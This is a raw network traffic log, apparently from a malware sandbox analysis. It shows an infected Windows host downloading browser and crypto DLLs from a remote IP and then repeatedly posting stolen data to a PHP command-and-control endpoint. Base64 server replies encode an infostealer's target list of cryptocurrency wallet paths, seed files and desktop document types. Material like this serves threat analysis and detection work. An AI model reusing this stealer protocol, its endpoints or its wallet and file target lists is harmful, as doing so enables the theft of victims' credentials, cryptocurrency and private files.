00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 3, 2024 23:17:07.584093094 CEST	93	OUT	GET /0853a005e18f0946/mozglue.dll HTTP/1.1 Host: 193.233.112.44 Cache-Control: no-cache
Oct 3, 2024 23:17:07.940969944 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:07 GMT Content-Type: application/x-msdos-program Content-Length: 608080 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 3, 2024 23:17:08.619805098 CEST	94	OUT	GET /0853a005e18f0946/msvcp140.dll HTTP/1.1 Host: 193.233.112.44 Cache-Control: no-cache
Oct 3, 2024 23:17:08.976475954 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:08 GMT Content-Type: application/x-msdos-program Content-Length: 450024 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 3, 2024 23:17:09.470294952 CEST	90	OUT	GET /0853a005e18f0946/nss3.dll HTTP/1.1 Host: 193.233.112.44 Cache-Control: no-cache
Oct 3, 2024 23:17:09.829657078 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:09 GMT Content-Type: application/x-msdos-program Content-Length: 2046288 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 3, 2024 23:17:11.559041977 CEST	94	OUT	GET /0853a005e18f0946/softokn3.dll HTTP/1.1 Host: 193.233.112.44 Cache-Control: no-cache
Oct 3, 2024 23:17:11.915607929 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:11 GMT Content-Type: application/x-msdos-program Content-Length: 257872 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 3, 2024 23:17:12.318389893 CEST	98	OUT	GET /0853a005e18f0946/vcruntime140.dll HTTP/1.1 Host: 193.233.112.44 Cache-Control: no-cache
Oct 3, 2024 23:17:12.672476053 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:12 GMT Content-Type: application/x-msdos-program Content-Length: 80880 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 3, 2024 23:17:13.595072985 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCG Host: 193.233.112.44 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:14.095220089 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:14.160916090 CEST	468	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFH Host: 193.233.112.44 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 2d 2d 0d 0a Data Ascii: ------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="message"wallets------KFHJJDHJEGHJKECBGCFH--
Oct 3, 2024 23:17:14.515538931 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2408 Connection: keep-alive Vary: Accept-Encoding Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8XE11 [TRUNCATED]
Oct 3, 2024 23:17:14.517956972 CEST	466	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDBFCBGDBKKECBFCGIE Host: 193.233.112.44 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 2d 2d 0d 0a Data Ascii: ------HIDBFCBGDBKKECBFCGIEContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------HIDBFCBGDBKKECBFCGIEContent-Disposition: form-data; name="message"files------HIDBFCBGDBKKECBFCGIE--
Oct 3, 2024 23:17:14.874756098 CEST	415	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 220 Connection: keep-alive Vary: Accept-Encoding Data Raw: 5a 47 56 7a 61 33 52 76 63 48 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 6f 75 64 48 68 30 4f 79 6f 75 5a 47 39 6a 4f 79 6f 75 5a 47 39 6a 65 44 73 71 4c 6e 68 73 63 33 67 37 4b 69 35 77 62 6d 63 37 4b 69 35 71 63 47 63 37 4b 69 35 71 63 47 56 6e 4f 79 6f 75 63 47 52 6d 66 44 45 31 4d 44 42 38 4d 58 77 77 66 44 4e 38 5a 47 56 7a 61 33 52 76 63 48 77 6c 52 45 39 44 56 55 31 46 54 6c 52 54 4a 56 78 38 4b 69 35 30 65 48 51 37 4b 69 35 6b 62 32 4d 37 4b 69 35 6b 62 32 4e 34 4f 79 6f 75 65 47 78 7a 65 44 73 71 4c 6e 42 75 5a 7a 73 71 4c 6d 70 77 5a 7a 73 71 4c 6d 70 77 5a 57 63 37 4b 69 35 77 5a 47 5a 38 4d 54 55 77 4d 48 77 78 66 44 42 38 4d 33 77 3d Data Ascii: ZGVza3RvcHwlREVTS1RPUCVcfCoudHh0OyouZG9jOyouZG9jeDsqLnhsc3g7Ki5wbmc7Ki5qcGc7Ki5qcGVnOyoucGRmfDE1MDB8MXwwfDN8ZGVza3RvcHwlRE9DVU1FTlRTJVx8Ki50eHQ7Ki5kb2M7Ki5kb2N4OyoueGxzeDsqLnBuZzsqLmpwZzsqLmpwZWc7Ki5wZGZ8MTUwMHwxfDB8M3w=
Oct 3, 2024 23:17:14.884708881 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGID Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:15.267992020 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:15.274523973 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKEBKFCAAECAAAAAEC Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:15.847377062 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:15.982266903 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBKFHIJKJKECAAAECAE Host: 193.233.112.44 Content-Length: 1763 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:16.364278078 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:16.369760036 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCB Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:16.755880117 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:16.761744022 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIIJJDHDGCGDHIJDAK Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:17.151427031 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:17.161797047 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFH Host: 193.233.112.44 Content-Length: 1763 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:17.664247990 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:17.672280073 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCBGIIJKEBFCBGDBAEB Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:18.088803053 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:18.098318100 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEHJEHDBGHIDGDGHCBG Host: 193.233.112.44 Content-Length: 1763 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:18.691875935 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:18.710136890 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJJKEHCAKFBFHJKEHC Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:19.208532095 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:19.216039896 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJD Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:19.602135897 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:19.609813929 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGII Host: 193.233.112.44 Content-Length: 1763 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:20.000453949 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:20.008817911 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDHCAAKECFIDHIEBAKF Host: 193.233.112.44 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:20.505287886 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:20.516397953 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIIIDAFBFBKECBGDBGI Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:20.902054071 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:20.912921906 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBG Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:21.293765068 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 3, 2024 23:17:21.300762892 CEST	202	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDA Host: 193.233.112.44 Content-Length: 1747 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 23:17:21.687100887 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
